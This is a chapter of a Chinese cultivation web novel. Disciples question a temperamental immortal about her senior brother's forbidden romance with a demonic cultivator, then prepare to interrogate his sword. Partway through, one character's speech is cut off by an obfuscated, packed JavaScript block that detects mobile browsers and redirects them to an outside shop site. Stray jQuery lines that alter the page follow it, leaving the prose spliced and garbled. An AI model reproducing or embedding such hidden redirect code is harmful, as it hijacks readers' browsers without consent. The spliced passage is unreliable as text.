问镜问镜,此脉传人的法器多为镜子。
连珠真人虽不认得照妖宝鉴,可是也不敢妄下定论。据林暗称,她以前和萧缘切磋时,见萧缘祭出过此物。连珠真人立即将照妖宝鉴拿去,端在手中细细地看。
最终她得出结论:“不错,仙级的宝镜!除了我家大师兄,还有谁配得上用它?你怎么得来的?”
连珠真人看谁都横挑鼻子竖挑眼,居然是个唯师兄马首是瞻的人。
白翎如此腹诽,面上犹挂着纯良笑容,装乖扮傻。他和裴响同属小辈,按理说该和问镜一脉的小辈们一样,侍立在诸葛悟座后。
不过他俩是来做客的,所以被安排在了最末的长椅上。此时两人对视一眼,各自不动声色地转开。
诸葛悟接过话题,称是他从黑市淘得的宝鉴,恰好被林暗认出。因此,两人一同造访,希望能当面物归原主。
只是不曾料到,萧缘竟伤重到如此地步,无法亲自待客。
连珠真人提及此事,火气又起,瞪向送药的小妖们。她挨个夺走小妖们怀抱的药盒,骂骂咧咧:
“还不是怪这帮作奸犯科的妖精?骗我们买下天价票折,却不能及时供货!师兄数日前便开始闭关,若它们早点把仙丹奉上,师兄早就出来了!”
老板小妖闻言辩解:“仙姑点名的几种丹药,药性一般,药材却紧俏得很。别说我们‘老君鼎’了,就是沉音魔尊的魔宫,也不一定能立刻拿出呀!当时劝您换别的仙丹,效用更好,还炼得快,您……”
“大师兄列的单子自有他妙用,岂容尔等多嘴!”
连珠真人回头斥罢,摔门进了后院。众人在堂上看不见内里光景,不过想也知道,定是萧缘的“闭关养伤”之所。
白翎悄悄地侧向裴响,道:“你觉不觉得,萧缘是故意让他们去买稀奇丹药的?”
裴响:“嗯。”
白翎又道:“怕不是早就计划好了私奔,借此支开师弟师妹吧。说不定一开始的受伤都是骗局,他那时就想着去相思林比翼双飞了。”
裴响的耳廓被他气息拂过,渐渐染上薄红,但依然道:“嗯。”
白翎问:“阿响就不能和我交头接耳一番吗?一个人讲话好没意思。”
裴响:“……”
裴响略转过头,面无表情地看着师兄,似在谴责他做客还不老实。
白翎却一眼发现,裴响的两只耳朵一红一白。正当他抿出坏笑,准备再逗师弟两句时,后院突然爆发出一声咆哮。
连珠真人吼道:“大师兄呢?!我问你们大师兄呢!!!”
两个小道童的哭泣声传来,随后是翻箱倒柜、踢床踹桌的响动。显然,连珠真人终于发现萧缘失踪了。
来拜访的一行人全部站起,静候其变。不多时,怒发冲冠的仙姑奔回堂前,抖着两手道:“天杀的魔道妖女,定是她拐走了大师兄!”
她拽上侄子,手提仙剑,竟是一副要杀出门去的派头。诸葛悟人未动,双剑齐出,刹那交错于门前,拦住了姑侄两个。
他微微笑道:“且慢。请问‘魔道妖女’,是何许人也?”
连珠真人戛然止步,又惊又怒地回过身,却不敢对诸葛悟发作。
她意识到自己说漏了嘴,眼珠急转,道:“是……是一个小户散修罢了,上不得台面,引诱了我家师兄。师尊早已下令,让我们对师兄严防死守,没想到他用灵符留声,应付我等,实则……渡尘真人不是要当面交还法宝吗?我、我们现在便去寻师兄回来!”
连珠真人说罢要闯,然而“千恨”与“万怜”相击,锵然把她震退。
诸葛悟道:“看来萧道长受魔修蛊惑,已是弥足深陷了?”
连珠真人是金丹后期的修为,发现大师兄不知去向、她身后并无人托底,终于敛起了骄横的神情,灰溜溜站好。
她道:“渡尘真人明鉴,我家师兄不近女色,是……是被魔修强迫的……”
诸葛悟温声说:“众所周知,贵派大师兄的功法属无情道,若不杀妻,无从进境。他对此魔修女子,想必亦有所求。不是吗?”
连珠真人面色紫涨,挤出一句:“千错万错,尽是魔修之错!纵使我家大师兄要杀妻证道,他杀个魔修,又有何妨?”
诸葛悟不置可否,只是双剑轻分,似发出一声轻叹。
他伸手道:“请真人坐。”
众目睽睽之下,连珠真人不得不回到席上,鬓边沁出冷汗。
私通魔修,乃是重罪,整个派系都会遭到牵连。若是门风严苛的宗门,将干出此等丑事的弟子就地正法,亦不为过。
问镜一脉的小辈们面露惊慌,挤作了一排过冬的鹌鹑。想必他们对大师兄之事早有猜测,眼下快要落实了。
白翎将众人的反应看在眼里,早不在乎做客的体统了,直接倚着裴响,与他咬耳朵:
“原来问镜一脉都知道啊?不过萧缘要真是大义凛然,打着除魔的幌子结侣,他们不会这样着急上火吧。啊,难道萧缘他……”
连珠真人在六神无主之下,不得不开口了。
在场诸人除她以外,无人落座,无形中威压重重,似在审问一般。
白翎立即停了嘴,等她发话。他一门心思听八卦,人还挂在师弟身上,也不记得挪窝。他俩站在最外层,裴响始终端着身为宾客的礼仪,自然不能推他,只得是垂下眼睫,斜斜地盯着白翎。
可白翎望着仙姑目不转睛,全然没有发觉。
他甚至一手从背后揽着裴响,另一只手搭在裴响肩头,是个与小师弟勾肩搭背、靠着大树好乘凉的看戏姿态。
裴响:“……”
裴响板着脸,“嗯”也不“嗯”了,神色微恼。
连珠真人干巴巴地道:“此事说来话长。”
—
一炷香的时间后,连珠真人口干舌燥,本就极深的法令纹快要撇到下巴外了。
老板小妖偷偷摸摸地泡了茶,借机端到她手边。
连珠真人以为是小辈端的,接来就喝,然后一口喷了个惊天动地。她呛得涕泪横流,指着小妖说不出话,肇事者却已经抱头鼠窜,“滋溜”跑到了白翎脚边。
白翎忍笑道:“怎么能在这种时候给她喝雷劈蕃荷菜呢……”
连珠真人的侄子连忙为其拍背顺气,然而他身为力士,力大无穷,一巴掌差点送姑姑上西天。
幸好,连珠真人将事情讲得差不多了——若是删掉她对那名魔修女子层出不穷的唾骂,其实说来话短:
萧缘是个心善且无甚追求的人,本来无意证道,并不执着于进境。
孰料在两百年前,上一场道会中,他偶遇一位魔修女子,两人一见钟情。
万幸的是,问镜一脉的道君及时发现了这段正邪恋,并加以阻止。万幸中的不幸是,魔修女子跑了,眼下又卷土重来,跟萧缘里应外合。
连珠真人至今不知魔修女子的身份,只知大师兄夺得“残念果”后,重伤濒死之际,仍念叨“阿眠”二字,疑似彼女子小名。
白翎听至此处,想起梦中所见。萧缘拔剑刺向新娘时,的确沉声唤了一句:
“放心,阿眠。只是一瞬。”
看来他得偿所愿,和心爱之人结侣了。但爱妻又怎会杀妻呢?还表现得那样自然而然,毫不迟疑。
连珠真人之后所言,更是偏颇,一半在痛惜大师兄走上不归路,一半在痛斥魔修女子坑害道修不得好死。
除此以外,还有贯穿全篇的自我开脱,希望师尊能明辨是非,不要怪她没看住师兄。萧缘为爱发癫,她已经仁至义尽了。
连珠真人呼哧直喘,却难得的没有追杀小妖,而是向诸葛悟道:“渡、渡尘真人,其实我家大师兄他,他只是一时糊涂!他真正的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304728|145892||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意图肯定是一箭双雕,既要除掉魔修,又能证道,才去和那妖女虚与委蛇。万一昭雪司降罪,请渡尘真人千万要、要帮我们说点好话啊!”
诸葛悟莞尔道:“萧道长若是清白,自然无需在下多言。如真人所言非虚,我等夜游之际,亦可多加留意,看是否有缘会晤萧道长。”
道修们时常下山游历,在人界便称“云游”,在魔域则称“夜游”。
连珠真人听他有帮忙寻找萧缘的意思,连忙发誓:“我刚才要是有半句假话,天打五雷轰,问镜一脉全部暴毙!”
诸葛悟:“……”
问镜一脉的小辈们纷纷露出了便秘的表情。
白翎倒抽一口冷气,差点笑喷,连忙把脸往后转,脑袋抵在裴响肩头,整个人发抖。
他本来就半搂不搂地靠在裴响身上,此时贴得更紧了,令裴响一惊。
少年人的眼睛略显狭长,平日也不爱抬眼,过长的睫羽能掩去一半瞳仁。此刻,裴响却双目微睁,难得地露出了完整的眸子。他视线乱闪,生怕被谁发现他们二人的无状。
有什么东西轻轻地拉了他裤腿一下,倒茶小妖啃着手指头,向他们茫然又单纯地歪起脑袋。
裴响:“……”
裴响微露窘色,低声道:“不许看!”
倒茶小妖本就怕他,闻言瘪瘪嘴巴,似是要哭。幸好林暗说话了,问:“连珠真人刚才欲夺门而出,难道,你知那魔修女子何在?”
连珠真人说:“我要是知道,早去捣毁她老巢了!是我们师尊偃鸣道君,他也在黑市。大师兄不见了,我自然该去报信。”
偃鸣道君,正是叛出驾鹤一脉的那位。林暗不再多言,颔首告辞。
连珠真人急道:“你们不帮忙找人吗?”
林暗温柔地说:“你可以祈祷。”
一句话噎得连珠真人干瞪眼,又不能当面破口大骂。诸葛悟亦转身出门,不料迎面看见,两名师弟正连在一起。
他露出疑惑而不失风度的微笑:“嗯?”
裴响与他四目相对,脸色“唰”地白了。白翎慢半拍地察觉到视线,回头见是师兄,也闪电般跳开。
他很有礼貌地伸手示意:“师兄先请。”
裴响苍白着脸让到旁边,一语不发,不过双耳血红,垂着眼紧盯地面。
诸葛悟不解,但是不管,召回仙剑,率先走出门去。他一走过,裴响立即抬起眼睫,又羞又气地瞪着白翎。
白翎小声道:“怎么了嘛。”
林暗亦从他二人之间穿过,终于轮到他俩走了。白翎还想跟师弟讲小话,不过转头正对上连珠真人几欲喷火的脸,终是道:“呃……祝妙语真人早日找到你师兄。再见!”
连珠真人:“哈???”
白翎仔细一想,此话十分缺德,毕竟萧缘已经半只脚踏进地府了。他连忙一手捞起剑匣、一手扯上师弟,招呼小妖们快溜,火速冲出庭院。
四人在门外汇合,一直到扶摇小筑的侧厅,方才停住。
此处是供旅客们小憩的,屏风分隔了数张茶几与石凳,暂且无人。“老君鼎”的小妖们和白翎恋恋不舍地话了别,双方约定不日必将重逢。届时小妖们成为真正的药王,一定给白翎更大的优惠。
送走它们,白翎来到茶几旁坐下,拉动屏风遮挡。
他取出魔剑,迷离的兰花香须臾充盈了此间。林暗道:“白师弟有话想问?”
“没错。我们不能只听连珠真人的嘛,现在该听听萧大哥的说法了。”白翎端正坐姿,面朝魔剑,笑眯眯地说,“萧大哥,你还能操纵本命剑吧?既然如此,‘是’的话安静即可,‘不是’的话,就和之前一样发颤。行吗?”
磨损严重的剑身一动不动,仿佛答应了他。
白翎合掌道:“很好,那么第一个问题——你是真心喜欢那个魔修的,对也不对?”